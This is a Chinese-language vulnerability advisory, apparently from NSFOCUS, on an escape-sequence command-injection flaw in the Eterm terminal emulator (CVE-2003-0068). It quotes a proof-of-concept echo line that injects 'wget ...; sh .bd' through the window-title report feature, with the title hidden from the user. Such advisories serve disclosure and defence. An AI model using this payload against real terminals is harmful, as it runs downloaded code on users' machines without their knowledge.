首页 -> 安全研究

安全研究

安全漏洞
Eterm窗口标题转义序列命令执行漏洞

发布日期:2003-02-24
更新日期:2003-03-04

受影响系统:
Michael Jennings Eterm 0.9.2
Michael Jennings Eterm 0.9.1
Michael Jennings Eterm 0.8.10
描述:
BUGTRAQ  ID: 10237
CVE(CAN) ID: CVE-2003-0068

转义序列(escape sequence)是一系列由ASCII转义字符(0x1B)开始的字符序列,并附带特殊的参数构成,转义序列一般原用于控制显示设备如终端,现在扩展在大多数操作系统中允许多种形式的交互。转义序列可以用于更改文本属性(颜色,宽度),移动鼠标位置,重配置键盘,更新窗口标题,或者操作打印机等。

Eterm终端模拟器的窗口标题报告功能由于没有检查用户插入的转义字符,远程攻击者可以利用这个漏洞在终端窗口标题中插入任意转义序列字符而以执行用户权限执行任意命令。

多数终端模拟器支持使用转义序列通过SHELL来设置窗口标题,这个功能由DEC的DECterm中实现,已经移植在多数模拟器中,使用echo命令可以设置终端的窗口标题:

$ echo -e "\e]2;This is the new window title\a"

当上面的命令显示在终端上的时候,它会设置窗口标题为上面的字符串,设置窗口标题本身没有安全问题,但是Eterm提供转义序列来报告当前窗口标题,获得标题后直接放到命令行中执行。由于多数模拟器处理转义序列不能在窗口标题中嵌入回车符,因此要执行标题作为命令处理,需要用户交互按回车键,如下面的报告窗口标题的转义序列:

$ echo -e "\e]2;;wget 127.0.0.1/.bd;sh .bd;exit;\a\e[21t\e]2;xterm\aPress Enter>\e[8m;"

当然这些标题没有人会去执行,但是通过设置标题为不可见字符,如前景后景全为一个颜色,在诱使用户处理窗口后,用户在不能看到标题的情况下而执行了恶意命令,有可能导致各种攻击,如开端口,发送敏感文件等操作。

<*来源:H D Moore (sflist@digitaloffense.net
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104612710031920&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

H D Moore (sflist@digitaloffense.net)提供了如下测试方法:

$ echo -e "\e]2;;wget 127.0.0.1/.bd;sh .bd;exit;\a\e[21t\e]2;xterm\aPress Enter>\e[8m;"

建议:
厂商补丁:

Michael Jennings
----------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.eterm.org/

浏览次数:3005
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障